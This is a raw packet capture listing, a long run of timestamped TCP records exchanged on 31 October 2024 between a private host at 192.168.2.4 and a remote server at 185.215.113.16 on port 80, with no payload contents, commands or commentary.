Oct 31, 2024 23:37:19.959861994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959887028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960056067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960063934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960072041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960086107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960105896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960115910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960125923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960138083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960148096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960161924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960186005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960320950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960330963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960339069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960350990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960355043 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960361004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960371971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960383892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960391998 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960418940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960448027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960458994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960478067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960541010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960551023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960560083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960568905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960573912 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960580111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960589886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960594893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960602045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960612059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960617065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960621119 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960654974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.960975885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960985899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.960994005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961003065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961009026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961014032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961019039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961028099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961031914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961041927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961051941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961059093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961060047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961070061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961086035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961086035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961095095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961105108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961107016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961114883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961124897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961126089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961138010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961148024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961153030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961157084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961164951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961169958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961196899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961232901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961242914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961251974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961265087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961267948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961278915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961283922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961289883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961299896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961304903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961308956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961322069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961332083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961344004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961347103 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961366892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961378098 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961412907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961424112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961432934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961451054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961453915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961462975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961472988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961483955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961489916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961497068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961507082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961512089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961519003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961538076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961549997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961916924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961927891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961939096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961949110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961956978 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961960077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961970091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961975098 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.961982965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961987972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.961997986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962009907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962013006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962023020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962028980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962034941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962043047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962045908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962058067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962066889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962069035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962085962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962090969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962100029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962111950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962122917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962129116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962137938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962147951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962151051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962160110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962169886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962172985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962182045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962192059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962198019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962203026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962212086 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962215900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962227106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962230921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962244034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962255001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962261915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962266922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962275982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962286949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962286949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962300062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962302923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962312937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962325096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962327957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962361097 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962380886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962390900 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962409973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962419987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962419987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962438107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962449074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962454081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962460041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962472916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962476969 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962490082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962503910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962510109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962516069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962527037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962538958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962558985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962565899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962575912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962587118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962598085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962608099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962614059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962636948 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962665081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962675095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962686062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962696075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962699890 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962707043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962718010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962721109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962742090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962778091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962789059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962799072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962809086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962811947 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962826967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962827921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962838888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962850094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962857962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962858915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962869883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962884903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962886095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962897062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962901115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962909937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962927103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.962934017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.962954998 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963018894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963030100 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963042021 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963052988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963063955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963068008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963076115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963083029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963087082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963097095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963107109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963108063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963143110 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963305950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963321924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963337898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963339090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963351011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963361025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963366985 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963372946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963383913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963391066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963395119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963423014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963435888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963447094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963457108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963463068 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963485956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963493109 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963500023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963511944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963521957 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963534117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963532925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963553905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963591099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963603020 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963612080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963624001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963627100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963635921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963644028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963646889 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963659048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963673115 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963676929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963687897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963697910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963701010 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963709116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963713884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963720083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963731050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963753939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963773966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.963866949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963879108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.963911057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964020967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964030981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964040995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964056969 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964066982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964071035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964085102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964088917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964096069 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964121103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964127064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964133024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964144945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964149952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964157104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964168072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964178085 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964178085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964188099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964206934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964215994 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964219093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964230061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964241028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964243889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964252949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964262962 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964265108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964273930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964277983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964288950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964302063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964307070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964317083 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964324951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964334011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964344978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964344025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964355946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964368105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964378119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964382887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964387894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964401960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964405060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964417934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964422941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964430094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964440107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964447021 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964451075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964462996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964473963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964477062 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964484930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964490891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964528084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964560032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964569092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964577913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964590073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964591980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964601994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964613914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964629889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964649916 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.964658022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964668036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964679003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964696884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964709044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.964710951 CET	49739	80	192.168.2.4	185.215.113.16
